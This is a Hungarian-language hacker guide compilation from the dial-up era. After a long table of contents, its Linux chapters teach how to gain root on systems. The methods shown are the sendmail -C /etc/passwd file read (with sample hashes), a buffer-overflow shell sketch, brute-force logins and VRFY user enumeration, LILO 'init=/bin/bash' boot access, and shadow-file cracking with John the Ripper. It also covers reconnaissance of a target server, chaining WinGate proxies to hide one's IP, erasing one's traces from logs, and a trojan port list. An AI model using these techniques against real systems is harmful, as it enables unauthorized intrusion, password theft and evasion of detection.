Hackers' Guide 2

342
Hackers’ Guide by Phant0m Volume #2

Transcript of Hackers' Guide 2

Hackers’ Guide

by Phant0m

Volume #2

Hackers’ Guide

Tartalom: Volume #1 Előszó .......................................................................................................................... Történet .......................................................................................................................

Hacker-ek, cracker-ek, phreak-ek Billentyűs betolakodók Alternatív kultúra: Hackerek Hackerek A törés művészete Mi az igazság Kevin D. Mitnick, a CyberKalóz Hacker találkozó Hollandiában A hacker kiáltványa Hacker-etika Fontosabb időpontok az Internet fejlődésében Hálózattörténelem A Byte magazin 98/4 -es számában megjelent cikke

Kezdés .........................................................................................................................

A Hacker és társai Első lépések… Ismertetô a hackelésrôl laikusoknak Kik a hackerek Mi is a cracker? Hogyan tevékenykedj illegálisan de biztonságban Hogyan lesz az emberből Hacker Használjatok PGP-t A titkosításról A paranoiáról Hack Windows alól és tudnivalók Az IP szerzés módszerei Social Engineering (társadalommérnökség) Trashing or dumpster diving (kukabúvárkodás) Backdoors Mi is az a trojai program Pár szó a trojai programokról Snifferek Keyloggerekről általában Mi az IP, TCP/IP A WORLD WIDE WEB File Transfer Protocoll (FTP) GOPHER MI A TELNET Socks4 Protokoll Betörések felfedezése és kezelése I. Betörések felfedezése és kezelése II. Betörések felfedezése és kezelése III. Betörések felfedezése és kezelése IV. Betörések felfedezése és kezelése V.

2

Hackers’ Guide

Betörések felfedezése és kezelése VI. Anonimitás ..................................................................................................................

Névtelenség ...avagy "Mindenki minket figyel!" Hogyan maradjunk ismeretlenek? Egyedi azonosító? Proxy I. Proxy II. Proxy Hunter leírás

Password .....................................................................................................................

A jelszavakról általában A linux passwd file felépítése Jelszófeltörés Jelszavak törése Jelszótörés Passwd Re: Passwd PWL Hacking Tutorial Password fileok keresése Hogyan válasszunk rossz jelszót CuteFTP bizonytalan jelszótárolása BIOS Hátsóajtók BIOS jelszavak feltörése

Denial of Service (DoS) ..............................................................................................

Hogyan "lőjjünk" ki másokat a netről? És lőn sötétség a click után... A +++ath0 avagy a modemblitz NewTear DoS Tamadasok fajtai Internetto chat szivatás NUKING IS LAMEEE.... Win98 TCP/IP bug D.o.S-ra alkalmas bug a W'2000-ben Pirch'98 ident/fserve daemon DoS támadás War FTP DoS (MKD/CWD)

Email ............................................................................................................................

Fake Email Hogyan küldjünk álcázott leveleket? (fakemail) Spoofed mail bombing by ReWtEr Levélbomba "Végtelenített" E-MAIL A legegyszerubb módszer levélbombázáshoz A Freemailrol ugy altalaban Szex kepek e-mailre Levélbomba törlése Outlook Express levelek Outlook Express 5 bug

3

Hackers’ Guide

WinPopup és NetSend üzenetek álcázása Volume #2 Linux ............................................................................................................................

Alap hack modszerek teoretikai oldala... Linux workstation törés Linux szerver törés Linux törés Egy lehetséges támadásra példa Backdoorokról gyakorlatban Unix Rendszerek Biztonsági Lyukai Root jog szerezése, ha alap felhasználo vagy Linux szerverek biztonsági kérdései Unix parancsok, amelyeket ismerned kell IP Chains kiegészítés Linux ipchains Firewall hiba Fakeuser Exploitok és a Telnet FTPCOVERSION bug Kernel bug WuFtpd trükk PING -R : kernel panic Hálozati Programozás C nyelven SAINT

Windows ......................................................................................................................

Back Orifice NetBus 1.70 Leírás Trójai programok felderítése WIN95/98 alatt I. Trójai programok felderítése WIN95/98 alatt II. Trójai programok felderítése WIN95/98 alatt III. Szempontok Windows trojan készítéséhez Kevésbé ismert Windows'9x biztonsági lyukak Jelszó eltüntetése Windowsrol Registryben tárolt jelszavakról Windows ScreenSaver Jelszó NT Password Cracker Windows NT munkaállomás törése Windows NT szerver törése Windows NT bug Re: Windows NT bug Hogyan fagyasszunk Win-es gépet intraneten Windows nyomtatómegosztás - bug Hogyan szerezzünk IP-t OP jog nélkül IIS 4.0 Microsoft Server Remote Exploit NT támadás FrontPage bug Minden az UNICODE bug-ról Internet Explorer tartalmi tanácsadó kikapcsolása

4

Hackers’ Guide

Riched20.dll ActiveX I. ActiveX II.

Novell ...........................................................................................................................

Novell jelszavak a Windows alatt Novell LAN Hacking Novell érdekességek Novell Groupwise bug

IRC, ICQ .......................................................................................................................

Két tűz mögött RFC-1459 A mi mIRC-ünk... I. rész: Popups A mi mIRC-ünk... II. rész: Aliases A mi mIRC-ünk... III. rész: Remote A mi mIRC-ünk... IV. rész: Sockets A mi mIRC-ünk... V. rész: Dialogs A mi mIRC-ünk... VI. rész: Ami az eddigiekbôl kimaradt... Az IRC-harc alapjairól IRC Hacking Tutorial A null csatorna A #2,000 bug User klónozás Fake OP Fakedrop Flood mIRC flood védelem mIRC jelszó kikapcsolása mIRC 5.4 Kill mIRCkill patch Hogyan juss be egy csatira vagy szerverre, ha bannoltak? Az "eredeti név"-ben vezérlôjelek használata Az Eggdrop IRC bot Eggdrop 1.3.26 bug CTCP trükk DCC gyorsítás Hogyan tevékenykedj (írj, csatlakozz csatira, stb.) más nevében? Hogyan rejtsem el az IP címemet IRC-n? WAC - WoRsITE A CoToCoP Advanced On-JOIN scanner Miért ne irceljünk root-ként Hogyan pusztítsunk IRC-n vagy ICQ-n ICQ exploit - avagy hogyan klonozzunk ICQ-ban ICQ Re: ICQ99 jelszavak CTCP-FAQ

Web ..............................................................................................................................

A site feltörés

5

Hackers’ Guide

Web-Hack F.A.Q. Félhivatalos Web-Hack FAQ A PHF MODSZER Hogy kell Unix ACCot szerezni 24 oraval ezen dokumentum olvasasa utan ?? Mi a .cgi .cgi Egyszeruen A test-cgi sebezhetősége bizonyos beállításoknál Néhány CGI bug csak röviden Két .cgi exploit "Vadász Gábor OnLine" jelszavak Jelszóvédett weblapok feltörése Webes levelbomba kuldes [ fLip! ] Altavista.Com ...avagy a hackerek legjobb buntársa Webterminál hackelések Extra hack Re: Extra hack Hogyan hackeljük meg az Extra.Hu-t Emil.alarmix.org hack A /wwwadmin.pl Exploitról Account Manager Password Exploit (amadmin.pl) Apexec.pl Bug Campas exploit Carbo.dll exploit Exploit a Microsoft IIS-hez HTML kód, ami leöli az IE 5-öt MailMachine.cgi bug QuikStore Shopping Cart Script bug Sambar Server bug Sambar Server search CGI bug Subscribe Me Exploit (subscribe.pl) Unstorekeeper.pl Bug .asp fájlok forráskódjának megtekintése

Phreak .........................................................................................................................

Kálváriám a Matávval: avagy ügyintézés RULEZ!!!! A 909 használata Mi az a wardialer Wardialer 1.31 by MMan THC-Scan használat + config Híváskorlátozásfeltörő 0.01 by Mman Ophacker 0.1 by MMan "06-80"-on keresztül külföldre A pénzbedobós telefonok hackolása Amerikában és Angliában Mobildolgok SMS Flood www.777sms.hu-n keresztül Szivatás mobiltelefonon keresztül Egy Matávos levele

Volume #3

6

Hackers’ Guide

Egyéb ...........................................................................................................................

Hogyan tudunk konnyen es egyszeruen bejutni egy SunOs? Hogyan irjunk at barmilyen filet AIX rendszerben 0-as UID nelkul ? OpenBSD felhasználói útmutató Különböző trójai programfajták leírása me$$iah trojai program RSC's Offline Server Emulator AMaViS root exploit CD-k másolásvédelmének megszüntetése amstel.interware.hu feltörése Nyugatmagyarországi Egyetem feltörése Országos Széchenyi Könyvtár feltörése

Függelék ......................................................................................................................

Internet kisszótár Linux Kisszótár IRC szótár Phreak szótár Szabványos portok listája Nemzetközi domain-ek A legismertebb trojai programok és portjaik I. A legismertebb trojai programok és portjaik II. BUHERÁTOR TESZT 1.1 BugTraq lista részletek... Hasznos URL-ek gyüjteménye a számítógépes biztonság területén

Linux Alap hack modszerek teoretikai oldala... Hogy meg a legkezdobb kezdo szamara is ertheto legyen, irtam egy kis bevezetot UNIXba:

UNIX:

Szoval a UNIX alapja a tobbfelhasznalos stabilitas... Namost...minden felhasznalonak(user) van egy LOGIN neve(login name), egy jelszava (password), egy UID -je...egy GID -je...egy home konyvtara(home directory)...

7

Hackers’ Guide

A root a rendszer fonoke...neki mindenhez joga van... Miert??...jo kerdes... Hat azert, mert a UID -je 0... UID = User ID Ha ez nulla, akkor isten vagy a rendszeren... De altalaban a felhasznaloke mas... Persze a root akarkinek adhat 0 UID -t... Hogyan?...hat ugy, hogy a /etc/passwd file -ban lecsereli a UID szamodat 0 ra...

A felhasznalonak nincsenek jogai... A felhasznalonak van egy szama(UID)...

A fileokban es a directorokban van a csoda... A file -nak vannak ugynevezett permissions... Igy nez ki:

-rwxrwxrwx owner group filename

Ebbol a fontos resz a -rwxrwxrwx , az owner, es a group...

Az elso - karakter az jelzi, hogy FILE...ha d lenne, akkor directory, ha l akkor link stb. stb. az r betu az olvasas engedely...a w az irasi engedely...a x pedig vegrehajtasi (execute) engedely... az elso harom rwx azt jelenti, hogy ezek a OWNER (vagyis a file tulajdonosa) engedelyei... A file ownere azt csinal vele amit akar... A masodik a GROUP... Ez egy...csoport UID... Van egy csoport, aminek beallithatod a GID -jet pl 111 -re es a group neve "hackerek" -re lenne beallitva, akkor ezt a file -t csak azok tudnak olvasni, akik a hackerek groupban volnanak...es persze az owner(file tulaj) es a root... -rw-r----- <- az owner es a root irni tud bele es olvashatja, a groupban levo emberek csak olvasni tudjak...

A harmadik mezot ugy hivjak NOBODY... Vagyis senki...azaz barki csinalhat vele mindent, ami a 3. mezoben meg van engedve... Vagyis ha pl. a /etc/passwd permission -jai: -rw-rw-r-- <- akkor nincs gond... De altalaban a system file -oknak az ownerja root...a groupja is... De ha -rw-rw---- <- akkor baj van... Ilyenkor muszaj UID 0 -t, vagy GID 0 -t szereznunk...

Itt jon a dolog szepsege...

-------------------------------------------------------------------------------

Ha a file-nak az ownerje pl. ROOT es a root engedelyeinel az x helyett egy "s" betut latsz, akkor az a program SUID ROOT... A SUID azt jelenti, SET UID....es a root...tehat SET ROOT UID... Vagyis a file(program) executalasnal felveszi az owner UID -jet...

8

Hackers’ Guide

Vagyis ha az owner root, akkor UID 0 -val fog futni... Peldaul, hogyha... Tegyuk fel, hogy ennek a filenak az ownere root: -rwsr-xr-x <- ez azt jelenti, hogy ha jol megnezed, lefuttathatja a NOBODY, Szoval...ha lefuttatja, akkor a a programnak root uid -je lesz... Vagyis ha te a file -ba bele tudnal keriteni egy "cat /etc/passwd" parancsot, Akkor meg is lenne... Csakhogy ilyen sosincs... Ezert kell talalnod egy olyan programot, aminek hibaja van, es SUID root... Vagyis... Peldaul...sendmail... Tudni kell rola, hogy !!!!!!!suid root!!!!!!!, es hogy nobody is futtathatja... Nehany verzioja tartalmaz olyan hibat, hogy ha rossz tipusu file -nevet adsz meg neki, vagyis egy olyan file -t amiben olyan adatok vannak, amit nem tud azonositani, akkor kiirja azokat a sorokat a kepernyore, es melle ir valami ilyesmit: "unknown control line" Gondolkozz csak el rajta... Milyen erdekesen fel lehetne ezt hasznalni... A config file -t a "-C" parameterrel definalod...

peldaul: senmdail -C sendmail.configfile De van egy erdekes otletunk: Mivan ha ezt irom be neki??: sendmail -C /etc/passwd Oromunkre pl. ezt latjuk:

/etc/passwd: line 1: unknown control line "root:e15LU2L6FLhxB:0:0:root:/root:/bin/bash" /etc/passwd: line 2: unknown control line "bin:*:1:1:bin:/bin:" /etc/passwd: line 3: unknown control line "daemon:*:2:2:daemon:/sbin:" /etc/passwd: line 4: unknown control line "adm:*:3:4:adm:/var/adm:" /etc/passwd: line 5: unknown control line "lp:*:4:7:lp:/var/spool/lpd:" /etc/passwd: line 6: unknown control line "sync:*:5:0:sync:/sbin:/bin/sync" /etc/passwd: line 7: unknown control line "shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown" /etc/passwd: line 8: unknown control line "halt:*:7:0:halt:/sbin:/sbin/halt" /etc/passwd: line 9: unknown control line "mail:*:8:12:mail:/var/spool/mail:" /etc/passwd: line 10: unknown control line "news:*:9:13:news:/var/spool/news:" /etc/passwd: line 11: unknown control line "uucp:*:10:14:uucp:/var/spool/uucp:" /etc/passwd: line 12: unknown control line "operator:*:11:0:operator:/root:" /etc/passwd: line 13: unknown control line "games:*:12:100:games:/usr/games:" /etc/passwd: line 14: unknown control line "gopher:*:13:30:gopher:/usr/lib/gopher-data:" /etc/passwd: line 15: unknown control line "ftp:*:14:50:FTP User:/home/ftp:" /etc/passwd: line 16: unknown control line "nobody:*:99:99:Nobody:/:" /etc/passwd: line 17: unknown control line "user:pH1j.C9qFtqxz:500:500:user,user,user,user,:/home/user:/bin/bash" No local mailer defined QueueDirectory (Q) option must be set

9

Hackers’ Guide

A legujabb verziokban mar nem muxik, mert kijavitottak a hibat es ha user futtatja, akkor azthiszem megnezi, hogy root e...ha nem root, akkor csinal egy olyan huzast, hogy "setuid(uid);" namost ez a suid programunk UID -jet atvaltoztatta az uid UID -re...vagyis ha az uid -d 111, akkor mar nem root uid -vel fog futni a tobavvi CODE, hanem a sajatoddal...

Buffer overflow:

Szoval, itt arrol van szo, hogy... Allokalsz, vagyis kijelzel egy memoria helyet az adataidnak: Egy egyszeru C program:

#include <stdio.h>

char buffer[200]; <- itt adod meg, hany byte fer bele...

void main() {

strcpy(buffer,"kecske"); <- Belehelyezem a kecske szavat a bufferbe... printf("%s",buffer); <- Megnezem a buffer tartalmat...

}

Most beletetten a strcpy <-vel a buffer -ba 6 byte -ot(a kecske szavat)... De mivan ha tobbet teszek bele??? (peldaul gets(buffer);) Kicsordul a buffer... Namost... Vannak ugynevezett REGISTER -ek... Az egyik a legfontosabb a mi esetunkben... Az IP vagy ugy is hivjak EIP... Ebben van egy szam, ami azt jelzi, melyik kovetkezo parancsot futtassa a memoriaban... Ha ezt atirjuk, azt futtatunk le a memoriaban amit akarunk... Vagyis...addig toltjuk a buffert, vagyis mar nem a buffer, csak innen indult ki...szoval addig toltjuk, amig el nem jutunk az EIP -ig... aztan beleirjuk a szamot, ahol folytatodik a buffer az EIP utan... Igy nez ki vazlatosan:

buffer EIP | | | | 414141414141414141414141414141414141414141414141412000909090909090909090 | | | 1234 1244 stb. stb. pl. 2000

Vagyis ahogy eleri a buffer az eip -t...belehelyezi a 2000 -es szamot, azt a memoria helyet, ahol folytatodik a buffer az eip utan... tehat most nem valamilyen program fog futni, hanem a 0x90 -NOP Ami azt jelenti, hogy NO processz, vagyis nem csinal semmit, nade ide behelyezhetsz egy olyan parancsot, hogy: execl("/bin/sh",NULL); <- ezt termeszetesen at kell alakitanod hexre... Ezzel lefuttatod a shellt, es ha a program, amiben a buffer volt SUID root,

10

Hackers’ Guide

akkor a shell is suid root lesz, vagyis az uid -d 0... Ez csak egy egyszeru vazlat volt, pontosabban elmagyarazni assembler tudas nelkul nehez lenne... Nem biztos, hogy ertheto volt a memoria pointacio, elmagyarazom kulon: Peldaul van 10 darab ures helyed, amibe tehetsz barmit... De csak egy byte -nyit... Az igy fog kinezni: ABCDEFGHI J ||||||||| | 123456789 10

Az elsoben egy A betu van, vagyis 0x41 hexben... A masodikban B, vagyis 0x42 hexben... es az 1,2,3...10...ezek voltak a mutatok, mert te az 5. poharba is tehetsz kulon valamit...es az 5 az a memory pointer, ugy mint az elozo abrakon az 1234,1244 vagy a 2000... Remelem ebbol meg lehetett erteni...

Igy peldaul lehetseges olyan hiba is, ami szinte kizart, mert ennyire azert nem hulyek a programatorok, de volt mar ra pelda.... szoval pl. az ftp -nel... Be kell jelentkezned a username: meg a password: -nal... Tehat...tetelezzuk fel, hogy a programatorok az username -re felteteleztek, hogy nem lesz nagyobb, mint 100 byte, es nem kontrolalja le a program nem e nagyobb a kivant adat... Ilyenkor lehuzod a programot felinstallalod, leprobalod, hanyadik byte a bufferban az eip, aztan felteszed a shellt... Es kesz az exploit... Felteszed a labad az asztalra, leinditod... Es egyaltalan nincs semmi accod az adott gepen, es ha a futo ftp program root jogokkal fut, akkor te szep csendben ROOT vagy. Es szinte semmit sem kell hozza csinalnod... Es a leggyonyorubb az ilyen dolgokban az, hogy nem logol semmi:) Mert nem futtattad a /bin/login -t...tehat nem fut le sem a .bash_history <- vagyis... Nem logol semmi parancsot, amit kiadtal... A "w" parancsra ami megnezi, milyen felhasznalok vannak fent nem reagal, mert amint mar mondtam nem hasznaltal logint... Es ekkor... Csak egyetlen mod van arra, hogy valaki gyanut fogjon... "netstat" Megmutatja az osszes tcp/ip kapcsolatot... Vagy tcpdump... Esetleg meg akkor, ha egy specialis software van a gepen, ami logol minden tcp/ip packetot... De ki fogna gyanut, hogy te mittomen lehuzol valami freeware -t... Es kulonben is... Minden root istennek hiszi magat es azt hiszi a gepe torhetetlen... Csakhogy teved:)

Kovetkezo hack tipp:

11

Hackers’ Guide

Van peldaul egy program ami megengedi, hogy vegtelen sok username -et es passwordot probalhass ki rajta... Igy csinalsz egy programot, ami kiprobalja az osszes lehetseges passwordot... Ha szo, hat legyen: aaaaa aaaab aaaac ... ... bbbbb bbbbc ...

Satobbi... Szoval ez egy masik modszer, de baj van, ha nem valaszol, hogy jo e az username, mert ha nem valaszol, akkor kepzelheted, a vilag osszes legjobb szamitogepe torne meg a jelszot az username -al egyutt 2 ev alatt... Szoval valahogy meg kell tudnunk, hogy van e olyan username, amit keresunk... Akkor kiprobaljuk a FINGER daemont... Az ritkan, mondjuk 20% aban van... Ha nincs, akkor... Sendmail... Van egy olyan parancs, hogy VRFY (verify)... Ez megmutatja, letezik e olyan felhasznalo, akinek a mail -t akarom kuldeni... Tehat... VRFY aaaa VRFY aaab VRFY aaac satobbi:) Igy egyszerubb...

Na mar most, ha nem vagy a legprimitivebb segg akit valaha lattam, megertetted ezeket, es eltulajdonitottad az alap teoriakat, amikkel be lehet kerulni egyes helyekre... Ismetlem, ez semmi oriasi kezikonyv, csak az alap TEORIAK vannak itt...

Szerzo: C0r3dUmP Mail: [email protected] Ingyenes telefonszamom: 0042100101

A text megirasahoz kellett: Kb. 2 ora nyugalom, 2 csomag piros Marlboro, 3 sor(Gambrinus), Es egy pici tapasztalat...

Ezt a file -t szetoszthatjatok barkinek, akinek szuksege van ra... Termeszetesen vallalom a felelosseget, barmi kart is okoztok masnak ennek a segitsegevel:)))

!!!Basszatok meg a cenzurat!!!

12

Hackers’ Guide

************************************************************************************************ Linux workstation törés

Ezt a módszert már láttam pár leírásban, de mindenhol egy-két sort szántak rá, pedig ha van fizikai hozzáférésed az adott géphez (pl. iskolai munkaállomás, de lehet hogy ez a szerver jelszava is) - és a rendszergazda kellõ mértékban hanyag :-) - akkor nagyon egyszerûen lehet root jogot szerezni. Nincs olyan gép, amit ne lehetne feltörni fizikai hozzáféréssel (pl. bootolás lemezrõl..), de azért eléggé meg lehet nehezíteni a dolgot. Persze ha sikerül lemezrõl bootolni, akkor egy "egylemzes" linuxxal, vagy rescue diskkel be lehet mountolni a / particiót, és megszerezni a shadow fájlt. A legegyszerübb az, ha a LILO-nak megadsz pár paramétert, amit átad a kernelnek. Ilyen paraméterek lehetnek a soros port, halózati kártya, winchester adatai, init processz, runlevel szint, stb. Nekünk az utóbbi kettõ a fontosabb a töréshez. Ha kicseréljük az init processzt egy shellre, akkor kapásból van egy root jogunk a gépre, amivel tetszés szerint elhozhatjuk a shadow fájlt, vagy csinálhatunk magunknak egy új accountot, immár root jogokkal. Az új account létrehozásához jó, ha irható-olvasható módon csatoljuk fel a gyökérfájlrendszert, mert ez általában csak olvasható, majd az init változtatja meg késõbb irható-olvastóvá. Azért csatolják elõször csak olvashatóan a fájlrendszert, mert amíg az fsck (linuxos fájlrendszerellenõrzõ progi) lefut, addig nem célszerû írni a winyóra, mert megsérülhet a fájlrendszer, stb. Tehát az init processz kicseréléséhez az alábbit kell begépelünk a "LILO boot:" prompthoz: LILO boot: linux init=/bin/bash rw Ez csak egy esetben nem sikerülthet, ha a /etc/lilo.conf fájlban levédték jelszóval a paraméterezett indítást, ekkor megpróbálhatjuk elolvasni a fájlt, amiben kódolás nélkül található meg a jelszó, de nem nagyon reménykedjünk, hogy van rá olvasási jogunk. Az read jog leszedésére egyébként a LILO is figyelmeztet.

A runlevel szint változtatás is csak akkor válik be, ha nincs jelszóval védve a paraméterezett indítás, mivel ezt is a LILO-n keresztül kell átadni a kernelnek, paraméterként. Ezt így tehetjük meg: LILO boot: linux x ahol x szam, nullától-hatig, amik a következõt jelentik:

0: halt - a rendszer leállítása 1: single-user - egyfelhasználós üzemmód, rendszerbeállítások változtatására, stb. 2-5: normál üzemmód, általában a root állítja be, ezenkívül eléggé disztribúciófüggõ, bõvebbet a /etc/inittab fájlban találsz, illetve man inittab. 6: reboot - a rendszer újraindítása.

(Az õrületbe lehet azzal kergetni valaki, hogy átállítjuk a runlevel szintet 0-ra illetve 6-ra, és lejelszavazzuk a paraméteres indítást :-))

13

Hackers’ Guide

Ezek közül nekünk a single user mód az érdekes, mivel ilyenkor csak a root jelentkezhet be, és ha nincs külön beállítva. akkor általában nem kér hozzá jelszót, de ez is eléggé disztribúciófüggõ.

Ez ellen úgy lehet védekezni, hogy a /etc/inittab fájlban beáálítjuk a single user módra is a jelszókérést a következõképpen: ~~:S:wait:/sbin/sulogin Ha sikerült elérni a shadow fájlt, akkor lehet másolni floppyra, de az is elég lehet ha feljegyzed egy papirra, csak nehogy elírj valamit, mert akkor évekig is törheted, eredmény nélkül :-). Ha csak a root jelszavara vagy kiváncsi, akkor ennyi az egész: cat /etc/shadow | grep root cat /etc/passwd | grep root

Ezt majd írd bele egy fájlba, de mielõtt elkezdenéd törni unshadow-olni kell a passwd fájlt, ami annyit tesz, hogy a passwdfájlba, ami így néz ki: root:x:0:0:/root:/bin/bash az x helyére be kell írni a shadow fájlban található kódolt jelszót. Ezután a következõt kapjuk: root:kodoltjelszo:0:0:/root:/bin/bash Ezt a John The Ripper is megcsinálja helyettünk az ./unshadow passwd shadow > unshadow parancs hatására, az unshadow-olt password fájlt a szabványos kimenetre irja, amit átírányítunk az unshadow nevü fájlba.

Ezek után vígan elkezdhetjük törni a jelszavakat, mondjuk a John The Ripperel, ami nem a fenti unshadow funkciójáról híresült el ;-). A használata egyértelmû, célszerû egy jó nagy szótárfájlt választani hozzá, mert a beépített elég kicsi...

Védekezés: elsõsorban a paraméterezett indítás védése jelszóval, amit a /etc/lilo.conf fájlban lehet megtenni, globálisan (minden oprendszerre), illetve lokálisan is, külön-külön be lehet állítani a jelszókat, minden oprendszerhez illetve kernelhez mást. Ezenkívül még lehet csak a paraméterezett indítást védeni jelszóval, ehhez "restricted" opciót kell beszûrni a fájlba, bõvebb információt a "man lilo.conf" parancs ad. Ha beállítottuk a jelszót, akkor mindenképpen vagyük le a lilo.conf-ról az olvasási jogot a többi felhasználó számára, és indítsuk el a LILO-t, ami érvényesítit a beállításokat, kiirja a merevlemez megfelelõ helyére.

Sun-Zero [email protected] ************************************************************************************************

14

Hackers’ Guide

Linux szerver törés Ugyebár a hacker célja a 0-ás UID (root jog, korlátlan hatalom) megszerése. Az alábbiakban ennek megszerzésére kitalált módszereket írok le. Ezzek a legegyszerűbbek, mondhatnám ez az alap. Az első és legfontosabb az egészben az, hogy ne bukj le. Éppezért az IP-címed mindíg bújtasd el, ha pedig már betörtél, tűntesd el a log-ból a "műved". De soha ne töröld le a logot! Mert ezzel nagy kárt okozol a servernek. Sőt, semmi mást ne törölj le ne változtass. A rendszergazdát pedig értesítsd arról, hogy betörtél, írd le neki részletesen, hogy milyen hibákat kihasználva jutottál be a rendszerbe, ezzel segíted a munkáját és a lyukak befoltozását. Tehát a legfőbb dolog az IP-rejtés. Hogy hogyan rejtsd el az IP-d, azt már leírtam. HTTP-nél proxy, telnet-nél WinGate server segítségével, ami természetesen anonymus legyen (a proxy.elender.hu nem jó :))), WinGate servernél pedig fűzz össze minél többet egymás után. A proxy-t a böngészőbe feltételezem be tudod állítani. WinGate használat: elindítod a telnet-et. Csatlakozol a WinGate server-hez (általában a 23-as porton). Ahova ezután csatlakozol, nem a te IP-det látják majd hanem a WinGate-ét. Ha megint egy WinGate server-hez csat- lakozol (és csak utánna a célponthoz), akkor nagyon megnehezíted a visszakeresésed. HTTP-s hack-nél használhatsz (a proxy-n kívül) anonymus web surfing-es IP-rejtést is (lásd a portal részben, vagy a portal.cyberarmy.com címen). Más mód IP-rejtésre, hogy egy balekot egy kis progival beállítasz firewallnak (ami forward-ol), ekkor az ő IP-jét látják a törésednél. Ez a legjobb módszer, de nehéz összehozni. (A feltörendő server itt a www.hackme.com lesz) A feltörés első lépései a puhatolózásból állank. Menj el a www.hackme.com-ra és nézd meg jól az oldalakat! Mentsd le a forrásokat és tanulmányozd! Keress benne arra utaló jeleket, hogy milyen lehet a server op-rendszere, milyen alkalmazások futnak rajta, és nézd meg jól az e-mail címeket, mert ezek lehetnek felhasználó- nevek! Küldj egy levelet egy olyan címre a hackme.com-on, ami biztos nem létezik! Pl.: [email protected]. Ekkor a server vissza fog küldeni egy levelet hogy nincs olyan cím és ebben a levélben lesz néhány infó a serverről. (Az ilyen infókat mindíg jól jegyezd meg/le!) Ezután telnetelj be a server 23-as portjára (ha az nem jó akkor vagy a 80-asra, vagy 21-esre), www.hackme.com esetén a hackme.com-ra, vagy ha az nem jó, akkor a telnet.hackme.com-ra! Írd be hogy syst! Ezzel is infókat tudhatsz meg a server-ről. Ezután írd be a saját gépeden hogy tracert (winfo$ alatt, Linux alatt tracertroute) hackme.com. Erre megkapod a server szolgáltatóját. Ezek után a portal.cyberarmy.com-on lévő whois-ba írd be: hackme.com. Ez információkat adhat a szerver tulajdonosáról és a szerver típusáról. Ezután portscanneld le a server-t! Ezzel nagyon vigyázz mert a port-scannelő IP-címet egy életre kitilthatja a serverről a firewall, és ha még el is kapnak, akkor szívtál. Tehát vagy proxy mögül scannelj (van néhány jó proxy supported-es progi főként Linux alá, de van winfo$hoz is), vagy webes felületről (www.haqerz.com). Az így megkapott nyitott portokból következtethetsz a célpont néhány tulajdonságára. Pl.: ha a 21-es port nyitva van, akkor a server-en üzemel egy FTP-kiszolgáló. Port lista: 00007 - ECHO 00009 - DISCARD

15

Hackers’ Guide

00011 - SYSTAT 00013 - DAYTIME 00015 - NETSTAT 00017 - QOTD 00019 - CHARGEN 00020 - FTP-DATA 00021 - FTP 00021 - Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash 00023 - Tiny Telnet Server 00025 - Antigen, Email pw Sender, Haebu Coceda, Shtrilitz Stealth, Terminator, WinPC, WinSpy 00025 - SMTP (MAIL) 00031 - Hackers Paradise 00037 - TIME (TIMESERVER) 00042 - NAME (NAMESERVER) 00043 - WHOIS (NICKNAME) 00053 - DOMAIN (NAMESERVER) 00057 - MTP 00079 - FINGER 00080 - HTTP 00080 - Executor 00087 - LINK (TTYLINK) 00095 - SUPDUP 00101 - HOSTNAME 00102 - ISO-TSAP 00103 - x400 (ISO MAIL) 00104 - x400-SND 00105 - CSNET-NS 00109 - POP/POP2 (POSTOFFICE) 00110 - POP3 (MAILSERVER) 00111 - PORTMAP / SUNRPC 00113 - AUTH (IDENT) 00115 - SFTP 00117 - (UUCP-)PATH 00119 - NNTP (Network News Transfer) 00139 - NBSESSION (NETBIOS) 00144 - NEWS 00158 - TCPREPO (PCMAIL) 00170 - PRINT-SRV (NETWORK POSTSCRIPT) 00175 - VMNET 00400 - VMNET0 00456 - Hackers Paradise 00512 - EXEC 00513 - LOGIN 00514 - SHELL (CMD) 00515 - PRINTER 00520 - EFS (FOR LUCASFILM) 00526 - TEMPO (NEWDATE) 00530 - COURIER (RPC) 00531 - CONFERENCE (CHAT)

16

Hackers’ Guide

00532 - NETNEWS 00540 - UUCP00021 - FTP 00543 - KLOGIN 00544 - KSHELL (CMD) 00555 - Ini-Killer, Phase Zero, Stealth Spy 00556 - REMOTEFS (RFS_SERVER) 00600 - GARCON 00601 - MAITRD 00602 - BUSBOY 00666 - Satanz Backdoor 00750 - KERBEROS (KDC) 00443 - SSL 01001 - Silencer, WebEx 01011 - Doly Trojan 01080 - SOCKS 01170 - Psyber Stream Server, Voice 01234 - Ultors Trojan 01245 - VooDoo Doll 01492 - FTP99CMP 01600 - Shivka-Burka 01807 - SpySender 01981 - Shockrave 01999 - BackDoor 02001 - Trojan Cow 02023 - Ripper 02115 - Bugs 02140 - Deep Throat, The Invasor 02801 - Phineas Phucker 03024 - WinCrash 03129 - Masters Paradise 03150 - Deep Throat, The Invasor 03700 - Portal of Doom 04092 - WinCrash 04590 - ICQTrojan 05000 - Sockets de Troie 05001 - Sockets de Troie 05321 - Firehotcker 05400 - Blade Runner 05401 - Blade Runner 05402 - Blade Runner 05569 - Robo-Hack 05742 - WinCrash 06665 - IRC-SERVER 06666 - IRC-SERVER 06667 - IRC-SERVER 06668 - IRC-SERVER 06669 - IRC-SERVER 06670 - DeepThroat 06771 - DeepThroat 06969 - GateCrasher, Priority

17

Hackers’ Guide

07000 - Remote Grab 07300 - NetMonitor 07301 - NetMonitor 07306 - NetMonitor 07307 - NetMonitor 07308 - NetMonitor 07789 - ICKiller 08181 - IRC-SERVER 09872 - Portal of Doom 09873 - Portal of Doom 09874 - Portal of Doom 09875 - Portal of Doom 09989 - iNi-Killer 10067 - Portal of Doom 10167 - Portal of Doom 11000 - Senna Spy 11223 - Progenic trojan 12223 - Hack'99 KeyLogger 12345 - GabanBus, NetBus 12346 - GabanBus, NetBus 12361 - Whack-a-mole 12362 - Whack-a-mole 16969 - Priority 20001 - Millennium 20034 - NetBus 2 Pro 21544 - GirlFriend 22222 - Prosiak 23456 - Evil FTP, Ugly FTP 26274 - Delta 31337 - Back Orifice 31338 - Back Orifice, DeepBO 31339 - NetSpy DK 31666 - BOWhack 33333 - Prosiak 34324 - BigGluck, TN 40412 - The Spy 40421 - Masters Paradise 40422 - Masters Paradise 40423 - Masters Paradise 40426 - Masters Paradise 47262 - Delta 50505 - Sockets de Troie 50766 - Fore 53001 - Remote Windows Shutdown 61466 - Telecommando 61667 - TROJAN! (BACK ORIFICE) 65000 – Devil Ez még jól jöhet (ha jól tudom akkor ha egy szolgáltatásmentes nyitott portot találsz, akkor egy Shell program segítségével rácsatlakozva behatol-hatsz, sőt winfo$

18

Hackers’ Guide

